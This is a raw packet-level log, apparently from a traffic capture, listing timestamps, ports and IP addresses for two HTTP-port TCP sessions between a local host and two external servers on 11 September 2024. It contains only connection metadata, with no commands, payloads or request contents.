Sep 11, 2024 16:22:18.106230021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106240034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106251955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106264114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106267929 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106276035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106283903 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106295109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106301069 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106308937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106317997 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106332064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106348038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106695890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106709003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106720924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106730938 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106750965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107017040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107029915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107042074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107058048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107065916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107070923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107084990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107098103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107115984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107280016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107291937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107302904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107315063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107317924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107327938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107336044 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107343912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107353926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107362986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107371092 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107377052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107395887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107407093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107409954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107409954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107417107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107419968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107431889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107434988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107449055 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107465982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107625961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107661963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107863903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107873917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107886076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107906103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107920885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107933044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107945919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.107968092 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.107990980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108051062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108063936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108076096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108087063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108088970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108102083 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108108044 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108119965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108124971 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108134031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108144045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108145952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108160019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108176947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108300924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108313084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108325005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108338118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108340979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108350039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108352900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108362913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108371019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108376026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108390093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108392000 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108403921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108406067 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108417034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108424902 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108439922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108448029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108457088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108460903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108474970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108479977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108494997 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108513117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108611107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108623981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108635902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108648062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108649015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108660936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.108665943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108681917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.108699083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109191895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109205008 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109215021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109232903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109239101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109246969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109256029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109271049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109287024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109291077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109303951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109317064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109325886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109328985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109343052 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109343052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109361887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109368086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109381914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109399080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109405994 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109412909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109425068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109436989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109441042 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109447956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.109461069 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109474897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.109491110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146130085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146142960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146155119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146168947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146173000 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146195889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146219015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146253109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146264076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146275997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146292925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146320105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146580935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146593094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146604061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146620989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146646976 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146759987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146770000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146781921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146794081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.146806002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.146832943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.156054020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156065941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156076908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156086922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156099081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156111002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156124115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156122923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156167030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156176090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156296968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156308889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156320095 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156331062 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156352997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156364918 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156375885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156387091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156399012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156404972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156431913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156455040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156461954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156501055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156557083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156574965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156585932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156596899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156610966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156614065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156625986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156636953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156662941 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156692028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156702995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156713009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156719923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156733990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156735897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156749964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156759024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156760931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156773090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156784058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156785965 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156815052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156882048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156893015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156910896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156927109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156933069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156939983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156953096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156963110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156965017 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156975031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.156977892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.156987906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157004118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157006025 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157016039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157027960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157032013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157040119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157049894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157057047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157087088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157118082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157129049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157155037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157175064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157179117 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157185078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157196045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157207966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157217026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157233000 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157253027 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157259941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157270908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157282114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.157296896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157310963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.157325029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158148050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158164978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158181906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158191919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158205986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158211946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158222914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158236027 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158256054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158257961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158267021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158277988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.158299923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.158324957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160152912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160162926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160173893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160185099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160196066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160200119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160207033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160219908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160223961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160254955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160284996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160295963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160306931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160317898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160329103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160331011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160341024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160346031 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160356998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160368919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160389900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160414934 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160547972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160557985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160567045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160593987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160607100 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160619020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160630941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160641909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160654068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160670996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160675049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160703897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160803080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160815001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160825968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160840988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160852909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160860062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160866022 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160871029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160882950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160895109 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160897970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.160922050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.160933971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161078930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161089897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161099911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161111116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161123037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161123037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161134005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161144018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161147118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161171913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161184072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161209106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161218882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161236048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161241055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161246061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161257029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161263943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161267996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161279917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161279917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161290884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161308050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161326885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161349058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161390066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161506891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161530018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161540985 CEST	80	49735	147.45.44.104	192.168.2.4
